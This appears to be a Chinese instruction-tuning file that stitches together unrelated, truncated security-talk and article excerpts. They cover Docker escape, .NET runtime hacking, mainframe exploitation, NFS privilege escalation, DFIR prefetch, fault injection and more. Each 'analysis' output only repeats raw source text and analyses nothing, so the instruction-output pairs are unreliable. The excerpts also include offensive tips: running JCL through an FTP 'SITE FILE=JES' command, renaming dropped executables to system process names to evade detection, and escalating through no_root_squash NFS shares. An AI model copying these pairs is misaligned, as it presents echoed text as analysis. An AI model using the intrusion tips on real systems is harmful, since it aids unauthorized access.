Naughty Docker
•
800秒，X母机Y3容器，下载某POC工具α
•
1000秒，X母机Y3容器，下载某POC工具β
•
1080秒，X母机，执行ifconfig、whoami、id
母机API漏策略没隔离！！！
PART
05
Greatwall
万里长城永不倒，也别漏
Greatwall
经验教训
•
逃逸不一定是漏洞，也许是SDN网络隔离失效
•
针对容器/母机的强健监控，保障了SDN的持续进化
•
SDN网络隔离，云服务安全长城的基石
PART
06
Conclusion
SDN安全，公有云的安全基石
Conclusion
•
攻击面
•
典型问题
•
配置不当
•
可用性问题
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Attacking .NET
Applications at
Runtime
Jon McCoy - 2010
www.DigitalBodyGuard.com
What will this presentation cover?
How to pWN closed-source .NET
applications in new and dynamic ways
New tools I am releasing
Show how incredibly vulnerable .NET
applications are
What tools will you get?
New Metasploit payload
Tools to do reconnaissance, on the
structure of .NET programs
Beta - Decompilation Tool targeted at .
NET Applications protected by
wrappers/shells
What will the hack do?
Gain access to a target application
Compromise the GUI
Subvert core logic
Instantiate new features
Access the Object structure
Connect to the Target
Inject - Put your code into the target
Infect - Change the target's code
Exploit - Take advantage of a flaw
Attack The Framework - Compromise the
framework
How the hack works: Overview
1. Connect to the target application
-Connect With Injection
2. Access targets Object structure
-Move around with Reflection
3. Modify values and/or Objects
-Modify Objects with Reflection
Normal Runtime Object Structure
GUI
Hacked Object Runtime Structure
GUI
Sample Code: Hack Event
Reflection
DEMO
GUI_Spike
LEET a Program
VIDEO OF DEMO HACKS
NOT LIVE DUE TO TIME
APPLICATION
Live demo
Data Piggyback
SQL
FIN < NULL
Special Thanks To
Related Works of
James Devlin
www.codingthewheel.com
Sorin Serban
www.sorin.serbans.net/blog
Erez Metula
paper: .NET reverse engineering
& .NET Framework Rootkits
Thanks to assistance of
Lynn Ackler
Thank you for the mentorship and training in forensics.
Daniel DeFreez
Thank you for the help on research and vulnerability analysis
(also the metasploit module) :-)
Andrew Krug
Thank you for the advanced IT support & shinyness.
Adam REDACTED
Thanks you for the IT Support; specifically hardware.
License
DotNetSpike and This Presentation are Licensed Under
GNU General Public License - Ver. 3, 29 June 2007
This is an open source presentation presented at Defcon 18
with Tools released at Blackhat 2010
More information at:
http://w...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Secure SofwareDevelopment LifeCycle
为您构架安全的业务系统
企业最佳安全实践
系统安全
网络安全
应用安全
1990-2017
2002-2017
2006-2017
网络攻击的方向
木桶原理
安全攻击，最薄弱环节的攻击；
安全问题，最薄弱环节的集群式爆发；
最薄弱环节的攻击
没有考虑安全设计的业务系统，理论上安全风险较高；
没有经过长时间考验的业务系统，实际安全风险较高；
没有经过验证的业务逻辑，带来的新形式的攻击较多。
最新业务的攻击
漏洞
防御
体系
威胁
防御
体系
漏洞防御体系
依照漏洞思维来建立的防御系统：
1、既有漏洞的安全经验；
2、测试发现的漏洞情况；
优势：简单、快速、高效；
劣势：不够全面、攻击样板点需要足够、未知风险较高
现状：目前互联网主流模式，大量SRC起来的原因都在此
威胁防御体系
通过建立威胁模型，来充分发现软件产品中的威胁，在设
计、开发、测试、运维等各个角度来削减威胁，最后达到
一个动态的平衡。
优势：系统、全面、成本可控；
劣势：体系建设需要一个周期，全员质量
现状：目前行业仅TOP 100强开始超这个思路建设
软件安全建设思路
安全防御体系
增加攻击成本
网络安全
降低安全风险
敏捷开发环境，特别在DevOps模式下，留给
安全测试人员的时间非常有限，无法充分发现
安全问题；
敏捷开发模式下安全测试
01
在开发环境中，安全人员数量有限，多项目并
行交付、上线过程中，无法进行充分的安全测
试；
多项目并行环境
02
目前软件开发过程中，会引入大量的第三方组
件，第三方组件的安全问题爆发，会导致整个
产品的安全问题；
第三方代码带来的安全问题
03
在线系统出现问题后，如何快速解决以及溯源
应急响应机制
04
面临
挑战
软件安全开发生命周期，主要目的是通
过系统的体系，帮助软件开发厂商在需
求、设计、开发、测试、部署上线等各
个阶段降低安全风险，提升安全能力。
安全设计
设计
安全测试
测试
安全需求
需求
安全开发
开发
S-SDLC
软件安全开发生命周期
部署
上线
安全风险
Security Risk
Network
Application
Mobile
Cloud
IoT
Mobile TOP 10 Risk
M1-平台使用不当
M2-不安全的数据存储
M3-不安全的通信
M4-不安全的身份验证
M5-加密不足
M6-不安全的授权
M7-客户端代码质量问题
M8-代码篡改
M9-逆向工程
M10-无关的功能
OWASP TOP 10
A1 － 注入
A2 －失效的身份认证和会话管理
A3 －跨站脚本（ XSS）
A4 － 不安全的直接对象引用
A5 －安全配置错误
A6 －敏感信息泄漏
A7 － 功能级访问控制缺失
A8 －跨站请求伪造 （ CSRF）
A9 － 使用含有已知漏洞的组件
A10 － 未验证的重定向和转发
IoT TOP 10
I1 － 不安全的Web界面
I2 －不完备的认证授权机制
I3 －不安全的网络服务
I4 － 缺乏传输加密
I5 －隐私处理存在问题
I6 －不安全的云环境
I7 －不安全的移动设备环境
I8 －不完备的安全配置
I9 －不安全的软件、固件
I10 －薄弱的物理安全保护
100%的IoT设备接受123456这样的弱密码
100%的IoT设备没有闭锁机制
100%的IoT设备有枚举风险
70%的IoT设备的SSH通道有root帐号权限
60%的IoT设备的web页面有XSS和SQL
injection问题
70%的IoT设备没有加密机制
80%的IoT设备收集用户个人信息
90%的IoT设备没有多重认证机制
90%的IoT设备的软件升级过程有安全漏洞
安全风险导致问题
IoT全球DDOS攻击案例
安全风险削减过程 Security Risk Reduction
威胁
分析
安全
设计
安全
开发
安全
测试
安全
部署
建立安全开发体系 S-SDLC
需求
设计
开发
测试
部署和
运维
-
风险评估
-
威胁建模
-
设计审核
-
攻击面分析
-
安全开发
-
代码审核
-
安全测试
-
渗透测试
-
安全加固
-
补丁管理
-
漏洞管理
-
安全事件响应
-
风险评估模板
-
威胁库
-
设计审核模板
-
公共安全组件
-
静态分析工具
-
动态分析工具
-
第三方渗透测
试
-
安全基线
-
扫描、监控、
管理工具
培训、政策、组织能力
敏捷开发模式
S-SDLC
• 环境初始
化
• 威胁建模
• 安全开发
• 持续集成
• 自动化部署
• 安全运维
• 持续测试
• 更新设计
• 代码审核
• 渗透测试
设计
开发
测试
部署
THANKS
www.seczone.cn
4000-983-18...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Developing Multi-Agency
Interoperability
Communications Systems:
User's Handbook
Applicable To:
ACU-1000 Modular
Interface/Interconnect System
And
TRP-1000 Transportable Radio
Interconnect System
ACU/TRP-1000 Handbook
Page ii
Developing Multi-Agency Interoperability Communication
Systems: User’s Handbook
ACU-1000 Modular Interface/Interconnect System
And
TRP-1000 Transportable Radio Interconnect System
Presented by:
Office for Domestic Preparedness
This project was supported by Contract GS-10F-0088I/2001BF505TO02, Task Order 2001TO046, awarded by
the U.S. Department of Justice, Office of Justice Programs to Community Research Associates, Inc.  The As-
sistant Attorney General, Office of Justice Programs, establishes the policies and priorities, and manages and
coordinates the activities of the Office of Justice Programs, Bureau of Justice Statistics, National Institute of
Justice, Office of Juvenile Justice and Delinquency Prevention, and the Office for Victims of Crime.  Points of
view in this document are those of the author and do not necessarily represent the official position of the U.S.
Department of Justice and Community Research Associates, Inc.
ACU/TRP-1000 Handbook
Page iii
Foreword
The Office of the Assistant Attorney General, Office of Justice Programs (OJP) is providing funds through the
Office for Domestic Preparedness (ODP) State Domestic Preparedness Equipment Program for the purchase
of specialized equipment to help enhance the capabilities of State and local units of government to respond to
acts of terrorism involving chemical and biological agents, as well as radiological, nuclear, and explosive de-
vices.
This handbook is the result of a developed and focused effort by the ODP to address interoperability and is
intended to enhance communications among the numerous agencies who would respond to large-scale terror-
ism incidents or emergencies.
To further enhance that effort, the ODP provided more than 50 ACU/TRP-1000 sys...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Smartfuzzing the Web
Carpe Vestra Foramina
Friday, June 24, 2011
Out of Date
• This presentation is out of date.
– Grab an updated copy from our Google Code
Page
• http://code.google.com/p/raft
2
Friday, June 24, 2011
Who are we?
• Nathan "Nate Dawg" Hamiel
• Gregory "G-Fresh" Fleischer
• Seth "The Law" Law
• Justin "J-Roc" Engler
Friday, June 24, 2011
Presentation Overview
• Problems with current tools
• Current workarounds
• Proposed solutions
• RAFT
Friday, June 24, 2011
Testing Tools Are Lacking
• Semi-automated web testing tools can be pretty dumb
o Pick your poison, each one falls down at some point
o Session data stays stale
o State maintenance sucks or non-existent
o Can't handle things beyond simple applications
o Don't allow the import of externally-collected data
• What about modern technologies?
o CSRF Tokens
o Randomized DOM variables
o RIA apps
o Web services
o JS/AJAX
Friday, June 24, 2011
The Problems Continue
• Typically no analysis is performed
o Testing responses alone may contain a treasure trove of
vulnerabilities that are not currently identified
o Analysis only runs on current request, what about all the
old data?
o Just because HTTP is stateless, doesn't mean our
analysis has to be.
o No vulnerability or sensitive data identification
• Testers don't need abstraction
o APIs and difficult formats
• Missing simple features
o Request time
Friday, June 24, 2011
And Continue Again
• Difficult cases
o Risk based logins
o Login confirmation on next step
o In-session detection
Friday, June 24, 2011
And Continue Yet Again
• External tools and custom scripts
o Can be painful
o No analysis
o Request/response diffs
o Syntax highlighting (duh)?
o Full request/response logging
• Data in multiple tools
o No cross-tool analysis
o Archiving problems with collected data
o Limited ability to find "new" bugs in old data
Friday, June 24, 2011
What Do People Do?
• Test manually
o First of all, Yuck!
o Modify other tools for purposes which they weren't
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA   @BlackHatEvents
Crashing Your Way to
Medium-IL: Exploiting the PDB
Parser for Privilege Escalation
Gal De Leon (@galdeleon)
Palo Alto Networks
Who am I?
●
Gal De Leon (@galdeleon)
●
Principal security researcher at Palo Alto Networks
●
Interested in fuzzing, vulnerabilities, exploits and mitigations
●
Microsoft MSRC MVSR 2018, 2019, 2020
○
~40 vulnerabilities
2
Agenda
●
What are PDBs?
●
Finding vulnerabilities in PDB parser
●
Attack surfaces
●
Exploit & Demo
3
●
Store debugging info (symbols) about an executable
●
Function names, globals, type info …
●
Created from source ﬁles during build
●
Used by debuggers
What are PDB Files?
4
0:007> .reload /f notepad.exe
0:007> x notepad!*
00007ff7`9b4c4520 notepad!__scrt_uninitialize_thread_safe_statics (void)
00007ff7`9b4a86b0 notepad!ShowOpenSaveDialog (void)
00007ff7`9b4c09e8 notepad!StringLengthWorkerW (void)
00007ff7`9b4c38e0 notepad!initialize_printf_standard_rounding (void)
00007ff7`9b4a1640 notepad!`dynamic initializer for 'szFileName'' (void)
...
The PDB File Format
●
Proprietary ﬁle format by Microsoft
○
Binary
○
Multi Stream Format (MSF)
●
Open sourced for non-MS compilers to produce PDBs
●
Parser implemented in Dbghelp.dll
○
Shipped by default
○
API to debug a process, load PDBs, extract symbols data ...
5
Let’s Fuzz PDB
6
Fuzzing Setup
7
●
Corpus - ~5000 PDBs from several sources
●
Test Harness - A program that loads a PDB ﬁle and parse it
○
Dbghelp!SymLoadModule
●
WinAFL fuzzer
Corpus
Mutator
Run
Harness
Crashes
Start
Repeat
8
What is the Attack Surface?
●
Remote symbols servers
●
Attacker controls / MitM symbols server can serve arbitrary PDBs
9
0:007> .sympath srv*http://msdl.microsoft.com/download/symbols
Symbol search path is:
srv*http://msdl.microsoft.com/download/symbols
Expanded Symbol search path is:
srv*http://msdl.microsoft.com/download/symbols
0:007> .reload /f notepad.exe
Victim Debugger
Symbol Server
Attacker
(MitM)
Report to Microsoft MSRC
●
18-08-2020 - Initial report to Microsoft ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Cloud
inSecurity
TT@chroot.org
HIT2008
Cloud
inSecurity
Who am I?
Camera man @ HITCon
Member @
Sr. Engineer @
Network
Security
Web 2.0
Security
BSD/Linux
Kernel
Firewall
Internal
IPS/IDS
Anti-SPAM
Antivirus
Programming
Network
Appliance
苦命工程師
過勞
好人 Orz
Network
Access
Control
加班
Before the Presentation
This is a trend discussion.
No deep technical issues.
It’s about new security model.
Not technology.
AGENDA
Cloud Computing
in
Security World
AGENDA
Vendors are eager to adopt this
technology.
Are bad guys scared?
(Or excited ☺)
AGENDA
and …
What about
Bad guys 0wn the Cloud.
What is the Cloud Computing?
What is Cloud Computing?
SaaS
(Software as a Service)
In-the-cloud Service
Thin Client
Cloud Computing (SaaS)
Move applications, storages, …
To Cloud Servers.
Client becomes simple.
Cloud Computing (SaaS)
Still no idea?
Google web applications
Amazon EC2/S3/Simple DB
…
Cloud Computing (SaaS)
No hardware issues,
No software update,
No storage problem, and
You can use it wherever you are.
Cloud Computing (SaaS)
This model is amazing, and
really changed our life.
But you may already know,
hackers are always ahead of us.
They knows cloud computing very
long time ago.
How it works?
Scenario 1
駭客小陳 的 Cloud Computing
雲端儲存 肉雞儲存
________
小陳的雲 (烏雲)
無辜的人
小陳
馬神
後門神
How it works?
Scenario 2
還是 駭客小陳 的 Cloud Computing
雲端運算 肉雞運算
________
小陳的雲 (烏雲)
John 神
小陳
Shadow
密碼檔
Grid Computing
How it works?
Scenario 3
還是 駭客小陳 的 Cloud Computing
雲端運算 肉雞運算
________
小陳的雲 (烏雲)
無辜的網站
DDoS 神
小陳
不爽
召喚
Bot Net
MD5 Rainbow Table
本站4T硬盘已经上线,共有md5记录
457,354,352,282条，宇宙第一，且还在不断增长
中，已包含12位及12位以下数字、8位字母、全部
7 位及以下字母加数字等组合，并针对国内用户做
了大量优化，例如已经包含所有手机号码、全国部
分大中城市固定电话号码、百家姓、常用拼音等大
量组合，另加入 了大型网站真实会员密码数据100
万条。本站数据量大，查询速度快，同时支持16
位及32位密码查询。通过对10万会员的真实动网
论坛样本数据的测试，本 站对于动网论坛密码的
命中率达到83%。全国独此一家。
Dark Cloud
Malware is software,
software is moving to the cloud,
therefore,
malware is moving to the cloud.
Dark Cloud
Malware as a Service
MaaS
Dark Cloud – Profit Driven
Criminals have adopted the
new model too, and are
o...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DFIR(Digital Forensics and Incident
Response) 数字取证和应急响应
一.介绍
二.正文
1. mess #DFIR
地址: https://twitter.com/0gtweet/status/1305887051976511489
通常我们运行一个程序，会在prefetch目录缓存，用来加速程序的运行 *.pf文件,也叫预读取功能。加快
系统启动，文件读取速度。
默认路径： c:\windows\prefetch
仔细观察，会发现有两个CHRROME.exe程序，因此在渗透中exe不得不落地到目标磁盘上时，也要重
命名，可以改为dllhost,mmc,rundll32,svchost等等。
# 说明: 纯粹是在学习代码后，当娱乐看的。如有错误，还请包涵。
# By bopin
最近在推上持续关注着一位搞安全研究的大佬，主要领域是: 内存转储(rdrleakdiag白利用就是他的杰
作)，LOLBins。本次带来的内容是关于DFIR的，看官请听我仔细到来。
推特:https://twitter.com/0gtweet
Github:https://github.com/gtworek/
2. EntClientDb.edb 应用的数据库文件
一般包含视频，音乐等，作者也写了一个ps脚本用来解析EntClientDb.edb文件
https://github.com/gtworek/PSBits/blob/master/DFIR/Analyze_EntClientDb.ps1
仔细阅读这些注意事项：（说说我踩过的坑把）
# The script performs an analysis of the EntClientDb.edb, specifically, the
"TblFile" table containing paths.
# For your own safety, please work on the copy of the EntClientDb.edb file and
not on the original one:
%LOCALAPPDATA%\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\an
onymous\EntClientDb.edb even if the script opens it readonly.
# Analysis of the database may be made without any special permissions, but
gathering the file itself is a bit more challenging. I can suggest one of the
following ways:
#   1. kill the Video.UI.exe process
#   2. offline copy (such as copy from disk image, by booting from usb etc.)
#   3. copy from the vss snapshot
# SET IT TO YOUR COPY OF EntClientDb.edb
没有停止相关程序。
帮助链接: https://twitter.com/0gtweet/status/1306509670585176064
停止相关进程后然后复制 edb到别的路径下，作者是这样说的：It should work on the copy, and not
on the original file.
当然也可以使用handle 获取指定进程的信息  .edb
handle.exe 微软官方下载地址: https://docs.microsoft.com/en-us/sysinternals/downloads/handle
GUI版: Process Explorer: https://docs.microsoft.com/en-us/sysinternals/downloads/process-explo
rer
3. DFIR Prefetch研究
https://twitter.com/0gtweet/status/1306914319012163584
3.1 Cleanup
Prefetch 文件默认太大就会被清理，如果CPU处于空闲时，且大小超过了 256 / 10MB的一半，清理程
序会周期性开始工作。
3.2 MaxPrefetchFiles 最大数值
管理员可以更改MaxPrefetchFiles和MaxPrefetch...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

From ROOT
to SPECIAL
PWNING IBM
Mainframes
Soldier of Fortran
@mainframed767
DISCLAIMER!
All research was done under
personal time. I am not here
in the name of, or on behalf
of, my employer.
Any views expressed in this
talk are my own and not those
of my employer.
This talk discusses work
performed in my spare time
generally screwing around with
mainframes and thinking 'what
if this still works...'
@mainframed767
PCI
Security
Expert
Mainframe
Security
Guru
ISO 27002
& PCI
Certifier
“What’s
NETSTAT?”
- Our Horrible Consultant
Spoken
?Question?
PLAIN
TXT
53%
SSL
47%
INTERNET
MAINFRAMES
z/OS? WTF
•  Most popular
“mainframe” OS
•  Version 2.1 out
now!
Legacy my ass!
@mainframed767
z/OS Demo
•  Let’s take a
look at this
thing
•  It’ll all make
sense
@mainframed767
@mainframed767
Ettercap Demo
@mainframed767
Missed it
@mainframed767
CGI-Bin in
tyool 2014
•  REXX / SH still
used
•  Injection simple,
if you know TSO
commands
@mainframed767
@mainframed767
CENSORED(
CENSORED(
@mainframed767
Only FTP?
•  No Problem!
•  FTP lets you run
JCL (JCL = Script)
•  Command:
   SITE FILE=JES
@mainframed767
Access
Granted
•  Now we have
access
•  FTP Script
Account
•  Ettercap
Now what?
@mainframed767
Escalate!
•  Let’s escalate
our privilege
•  Connect with
telnet/ssh/3270
•  Use local priv
escalation
@mainframed767
Getroot.rx
•  rexx script
•  Leverages
CVE-2012-5951:
Unspecified vulnerability in IBM
Tivoli NetView 1.4, 5.1 through 5.4,
and 6.1 on z/OS allows local users
to gain privileges by leveraging
access to the normal Unix System
Services (USS) security level.
Tsk tsk
•  IBM not really
being honest
here
• Works on any
setuid REXX
script!
@mainframed767
@mainframed767
DEMO
@mainframed767
DEMO
THANKS
•  Swedish Black
Hat community
•  Oliver Lavery
– GDS Security
•  Logica Breach
Investigation
Files
@mainframed767
Keep ACCESS
•  Get a copy of
the RAC...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

今天看到一篇文章: https://bitsadm.in/blog/windows-security-updates-for-hackers
讲述如何通过Windows的补丁号来评估系统面临的风险以及工具的相关实现，它通过爬取微软官方更新
中的KB号和系统已有的进行对比，和hacking8的提权辅助 https://i.hacking8.com/tiquan 有一点异曲
同工之妙。
它发布的工具是: https://github.com/bitsadmin/wesng 我摘出一些觉得有用的代码出来。
识别系统版本
通过systeminfo，得知我的系统版本是 19042
可得出我的系统版本是 20H2
Windows版本号过去发布的格式是YYMM，YY为年，MM为月，例如2020年4月发布的，即是
2004，系统内部代号即是19041
从2020年Windows10秋季发布开始，变成了YYH1/YYH2半年模式
识别系统版本号，在后面可以用来筛选安全更新，减少误报率。
根据systeminfo信息确认系统版本
主要就是通过正则，python代码如下
# 构建号和版本之间的映射表以正确识别
# systeminfo输出中指定的Windows 10/11/Server 2016/2019/2022版本
buildnumbers = OrderedDict([
    (10240, 1507),
    (10586, 1511),
    (14393, 1607),
    (15063, 1703),
    (16299, 1709),
    (17134, 1803),
    (17763, 1809),
    (18362, 1903),
    (18363, 1909),
    (19041, 2004),
    (19042, '20H2'),
    (19043, '21H1'),
    (22000, '21H2') # Windows 11
])
# Determine Windows version based on the systeminfo input file provided
def determine_product(systeminfo):
    systeminfo = charset_convert(systeminfo)
    # Fixup for 7_sp1_x64_enterprise_fr_systeminfo_powershell.txt
    systeminfo = systeminfo.replace('\xA0', '\x20')
    # OS Version
    regex_version = re.compile(r'.*?((\d+\.?){3}) ((Service Pack (\d)|N\/\w|.+)
)?[ -\xa5]+ (\d+).*', re.MULTILINE | re.IGNORECASE)
    systeminfo_matches = regex_version.findall(systeminfo)
    if len(systeminfo_matches) == 0:
        raise WesException('Not able to detect OS version based on provided
input file\n    In case you used the missingpatches script, use: wes.py -m
missing.txt')
    systeminfo_matches = systeminfo_matches[0]
    mybuild = int(systeminfo_matches[5])
    servicepack = systeminfo_matches[4]
    # OS Name
    win_matches = re.findall('.*?Microsoft[\(R\)]{0,3} Windows[\(R\)?]{0,3} ?
(Serverr? )?(\d+\.?\d?( R2)?|XP|VistaT).*', systeminfo, re.MULTILINE |
re.IGNORECASE)
    if len(win_matches) == 0:
        raise WesException('Not able to detect OS name based on provided input
file')
    win = win_matches[0][1]
    # Syst...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA @BlackHatEvents
Tunable Replica Circuit for Fault-
Injection Detection
Daniel Nemiroff
Carlos Tokunaga
• Fault‐Injection Attack Basics
• Dive into the TRC (Tunable Replica Circuit)
• Why and How Intel Integrated the TRC
• TRC Calibration and Validation
• Conclusions and Productization
Non‐Invasive FI Attacks
• This briefing covers the fault‐injection
detection circuit, known as the TRC
(tunable replica circuit).
• Our focus is non‐invasive FI attacks, where
modification of the package is out of scope,
this includes:
• Voltage attacks
• Clock attacks
• EM (electro‐magnetic radiation) attacks
• Thermal attacks
Non‐Invasive FI Attacks
As they are exposed at the package‐level,
clock and voltage pins are the primary non‐
invasive attack surface.
Semi‐Invasive FI Attacks
• Lasers are a primary semi‐invasive threat,
because they require a package de‐lid.
• However, research shows attacks from the
side of a package can be done, without a
de‐lid.
• These attacks are out of scope for this
briefing.
To Complete the Circle . . .
. . . Invasive Physical Attacks
Primary Vehicles:
• FIBs, etching, on‐die probing, etc.
• Again, out of scope for this briefing, which
is focused on non‐invasive physical
attacks.
What is the Attacker is Trying to
Accomplish with FI?
• Using FI, a common goal of the attacker is to cause circuit timing to
fail, without causing the platform to crash.
• When circuit timing fails, data can be latched too early or too late.
• In many cases, latching data early causes 0x00 to be latched.
• In the context of a CPU or uC, when glitched at just the right time, an
attack can cause a NOP to be latched, instead of a JMP.
• In fixed‐function crypto engines, real keys could be replaced, etc.
• In fabrics and busses, I/O devices could latch data or bus addresses
too early/late.
Voltage Glitch Impact on Timing
Good CLK
Data Lines: Undervoltage glitch slows the data down, resulting in a 0b being latched
Under‐voltage Glitch Attack
NOP
JMP
Clock Gl...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

2020/9/25
Linux提权姿势二：利用NFS提权
https://mp.weixin.qq.com/s?__biz=MzU4NTY4MDEzMw==&tempkey=MTA4MF95ZVZHaittcHd5aEVSN0dCcmZLUkk1ekhBRi1Sb2JicDBqQ20tU…
1/6
Linux提权姿势二：利用NFS提权
如果在服务器上具有低特权shell，并且发现服务器中具有NFS共享，则可以使用它来升级特权。但是成功
取决于它的配置方式。
目录
什么是NFS？
网络文件系统（NFS）是一个客户端/服务器应用程序，它使计算机用户可以查看和选择存储和更新远程
计算机上的文件，就像它们位于用户自己的计算机上一样。在  NFS  协议是几个分布式文件系统标
准，网络附加存储（NAS）之一。
NFS是基于UDP/IP协议的应用，其实现主要是采用远程过程调用RPC机制，RPC提供了一组与机器、操作
系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数
据描述编码的协议，他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码，支持在异构
系统之间数据的传送。
什么是root_sqaush和no_root_sqaush？
Root Squashing（root_sqaush）参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用
户在连接时会分配一个用户“ nfsnobody ”，它具有最少的本地特权。如果 no_root_squash 选项开启
的话”，并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时，系统管理员应始终使
用“ root_squash ”参数。
注意：要利用此，no_root_squash 选项得开启。
利用NFS并获取Root Shell
现在，我们拿到了一个低权限的shell，我们查看“ / etc / exports ”文件。
/ etc / exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。
这个文件的内容非常简单，每一行由抛出路径，客户名列表以及每个客户名后紧跟的访问选项构成：
[共享的目录] [主机名或IP(参数,参数)]
1
2
3
4
1.什么是NFS？
2.什么是root_sqaush和no_root_sqaush？
3.所需的工具和程序文件。
4.利用NFS弱权限。
1
2
3
4
其中参数是可选的，当不指定参数时，nfs将使用默认选项。默认的共享选项是 sync,ro,root_squ
当主机名或IP地址为空时，则代表共享给任意客户机提供服务。
当将同一目录共享给多个客户机，但对每个客户机提供的权限不同时，可以这样：
[共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]
李木
黑白天 今天
2020/9/25
Linux提权姿势二：利用NFS提权
https://mp.weixin.qq.com/s?__biz=MzU4NTY4MDEzMw==&tempkey=MTA4MF95ZVZHaittcHd5aEVSN0dCcmZLUkk1ekhBRi1Sb2JicDBqQ20tU…
2/6
我们可以看到/ tmp 文件夹是可共享的，远程用户可以挂载它。
还有不安全的参数“ rw ”（读，写），“ sync ”和“ no_root_squash ”
同样我们也可以使用 showmount命令来查看。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
showmount命令用于查询NFS服务器的相关信息
# showmount --help
Usage: showmount [-adehv]
       [--all] [--directories] [--exports]
       [--no-headers] [--help] [--version] [host]
-a或--all
   以 host:dir 这样的格式来显示客户主机名和挂载点目录。
-d或--directories
   仅显示被客户挂载的目录名。
-e或--exports
   显示NFS服务器的输出清单。
-h或--help
   显示帮助信息。
-v或--version
   显示版本信。
--no-headers
   禁止输出描述头部信息。
显示NFS客户端信息
# showmount
显示指定NFS服务器连接NFS客户端的信息
# showmount 192.168.1.1  #此ip为nfs服务器的
显示输出目录列表
# showmount -e
2020/...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Credit Cards: Everything You have
Ever Wanted to Know
Robert “hackajar” Imhoff-Dousharm
A brief History
● 1950 DinersClub
● 1958 American Express
● 1958 BankAmericard (Visa)
● 1966 MasterCard International (ICA)
● 1986 Discover Card
Technology
● Knuckle Buster's
● Dial-Up Authorization Terminal
● High Speed Leased Lines
● Gateway Processor's
● Co-op Leased Lines
● Online API Gateways
Marketing & Technology
● Smart Cards
● Virtual One Time Use Cards
● Gift Cards
● Secure Cards
● Easy Pay RFID Cards
Physical Fraud Features
● Embossed Card Number
● Card Vendors Logo
● Card Vendors Hologram
● Card Vendors Embossed Cursive Letter
● First 4-digits non-embossed
● Expiration Date
● Magnetic Strip
● Signature Panel
● CVV2 Code
Credit Card Magnet Data
● 2 Tracks used for credit cards
● 3rd Track used for meta data, non credit cards
● Review of Tracks 1 & 2
Transaction Flow - Authorization
● Initial Authorization
● FEP Hand Off
● Back End / Merchant Link
● Issuing Bank Authorization
● FEP Record Update
● Terminal Signature Printout
Transaction Flow - Settlement
● Close Out Terminal
● Send Closeout request to FEP
● Send Totals, individual transactions, Totals
● FEP Record Update
● FEP Batch Close to Issuing Banks
● Money is “Settled” to MSP
● MSP Funds Merchant
Data Storage
● Grab ass with your personal data
● Known sources of data storage
● Possible sources data may be stored
● Extent of Information Stored
● High Risk Merchants (for information leakage)
● Internet Merchants
Questions & Answers
● All questions accepted on topics covered from
last three DefCon talks
● Some topics NOT covered during main talk,
reserved for you to ask here
● Thank You for 3 great years of Credit Card
Security Talks


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

數位鑑識與資料救援前瞻性研究
主講人: thx (張道弘)
1
什麼是數位鑑識?
   數位鑑識也稱為電腦鑑識，是一門有效解
決資通安全與電腦犯罪難題的科學。
其定義為：以一定程序保存、識別、抽
取、記載及解讀電腦或網路媒體 ...。
   數位鑑識以及偵查的方式，在案件的偵
查，透過軟體並有流程，拿取一些儲存於
儲存裝置，可有助於案情釐清以及曝光。
2
司法單位所用的儲存媒體鑑識技術
   使用：Encase，Winhex，R-Studio，
FTK imager ,Helix Live CD純軟體
做邏輯區分析處理。
資料讀取出來,純做數值運算,撈取資料
如果是主流 File System 現行商用軟體已
非常成熟.技術公開透明。
3
數位鑑識技術生活化應用
此外以下狀況也會運用到數位鑑識技術
 但是要注意法律: 無故以不正方法侵犯他人隱私
知悉之他人秘密，即為妨害秘密罪
      徵信社
  商業或特務間諜
  公司管理人員查詢使用者電腦行為
      家長調查查詢家庭小孩電腦行為
4
數位鑑識法理性流程
   由於數位證據容易被修改,因此若要做為法
律證物,要有一定流程,校驗程序以保障證物
沒被修改.
在設計數位鑑識軟體上因此需加入
1.專案管理.
2.對每次數位證據操作有記錄
3.對主數位證物檔有HASH記錄.以確保數位
證據沒被修改.
5
   基層的警員以及偵查隊需要做更高技術層次
數位鑑識，須透過專門的偵查部門才有設備
跟研究人員才能進行取證，會嚴重影響到辦
案進度及只有重大案件才能用上這些技術.
實際上 如果瞭解底層技術，透過了解其原
理以及運作模式的情況下，可以用普通的設
備或軟體達到接近專業效果
困難度高的數位鑑識
6
高難度鑑識 :ATA 加密與解密
        加密為 ATA  規範的一部分，用於保護硬碟資料。ATA 密碼
長度為 32 位元，包括：User Password 和 Master Password
（Master Password 僅用於解除 User Password 而並不會鎖住
硬碟）。
 ATA 密碼的設置是由 ATA Protocol "Security SetPassword"
指令組完成的。執行 Security Set Password 指令後，在硬碟下
次重新啟動後密碼就會生效。
ATA Password 存在電路版上外也記錄在碟片模組上
(在碟片上的故軔體+參數通稱為模組).
因此更換電路版無法解密。
 ATA 密碼保護的硬碟初始化 ATA 待命訊號正常,但僅回應有限
的 ATA 指令，如設備識別型號指令，序號識別指令等等，但不
允許讀取硬碟上的資料。
7
ATA 加密與解密
用戶如何判斷硬碟被設定 ATA 加密？
1.硬碟在BIOS中可以正確識別（包括型號，序列號，LBA 等
等）。
2.所有的扇區都不可讀取（發生 ABRT 錯誤）。
3. BIOS 可能會提示要求輸入密碼或者直接給出硬碟被密碼保護
的訊息；當使用系統安裝碟或者 DOS 啟動碟讀取硬碟時會停
